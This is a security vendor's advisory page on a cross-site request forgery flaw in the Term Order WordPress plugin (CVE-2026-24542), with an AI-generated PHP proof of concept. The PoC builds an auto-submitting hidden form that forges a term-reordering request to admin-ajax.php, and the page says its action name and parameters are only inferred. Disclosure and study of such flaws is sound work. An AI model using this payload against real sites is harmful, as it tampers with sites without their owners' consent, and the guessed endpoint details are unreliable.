Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24542: Term Order <= 2.1.0 – Cross-Site Request Forgery (wp-term-order)

Plugin wp-term-order
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.1.0
Patched Version
Disclosed January 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24542 (metadata-based):
The Term Order WordPress plugin up to version 2.1.0 contains a Cross-Site Request Forgery vulnerability. This flaw allows unauthenticated attackers to trick an authenticated administrator into performing an unauthorized action via a forged request, such as clicking a malicious link.

Atomic Edge research infers the root cause is a missing or incorrect nonce validation check on a specific administrative function. The CWE-352 classification and the description confirm the plugin fails to verify the WordPress nonce, a unique token tied to a user session, on a request handler. This inference is based on the standard WordPress security model where nonces prevent CSRF for authenticated actions.

The exploitation method involves an attacker crafting a malicious HTML page or link that submits a forged HTTP request to a vulnerable WordPress AJAX or admin-post endpoint. The request would target the specific action parameter associated with the plugin’s term ordering functionality. An attacker must lure a logged-in administrator to interact with the malicious content, which then silently submits the request with the administrator’s credentials.

Remediation requires the plugin developer to implement proper nonce verification on the affected function. The patched version 2.2.0 likely added a `check_ajax_referer()` or `wp_verify_nonce()` call before processing the request. This ensures the request originates from a valid user session and is intentional.

Successful exploitation could allow an attacker to perform unauthorized modifications to taxonomy term ordering on the site. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. This vulnerability does not lead to privilege escalation or data theft directly, but it could disrupt site organization or be chained with other flaws.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24542 - Term Order <= 2.1.0 - Cross-Site Request Forgery
<?php
/**
 * Proof of Concept for CVE-2026-24542.
 * This script generates a malicious HTML page that forges a CSRF request.
 * The exact AJAX action and parameters are inferred from the plugin slug and vulnerability type.
 * Assumption: The vulnerable endpoint is a WordPress AJAX handler (`admin-ajax.php`)
 * with an action parameter prefixed by the plugin slug, such as 'wp_term_order_update'.
 * The target must have the Term Order plugin (<=2.1.0) active.
 * A logged-in administrator must visit this page for the attack to succeed.
 */
$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS

// Construct the AJAX endpoint. The action name is inferred.
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
$inferred_action = 'wp_term_order_update'; // Example action based on plugin slug

?>
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Term Order</title>
</head>
<body>
    <h2>CVE-2026-24542 - Term Order CSRF PoC</h2>
    <p>If a WordPress administrator views this page while logged into the target site, the hidden form below will automatically submit a forged request to reorder taxonomy terms.</p>
    <form id="csrf_form" action="<?php echo htmlspecialchars($ajax_endpoint); ?>" method="POST">
        <!-- The 'action' parameter triggers the vulnerable WordPress AJAX handler -->
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($inferred_action); ?>">
        <!-- Example parameters to modify term order; structure is inferred -->
        <input type="hidden" name="term_id" value="1">
        <input type="hidden" name="new_order" value="999">
        <input type="hidden" name="taxonomy" value="category">
    </form>
    <script>
        // Automatically submit the form when the page loads
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School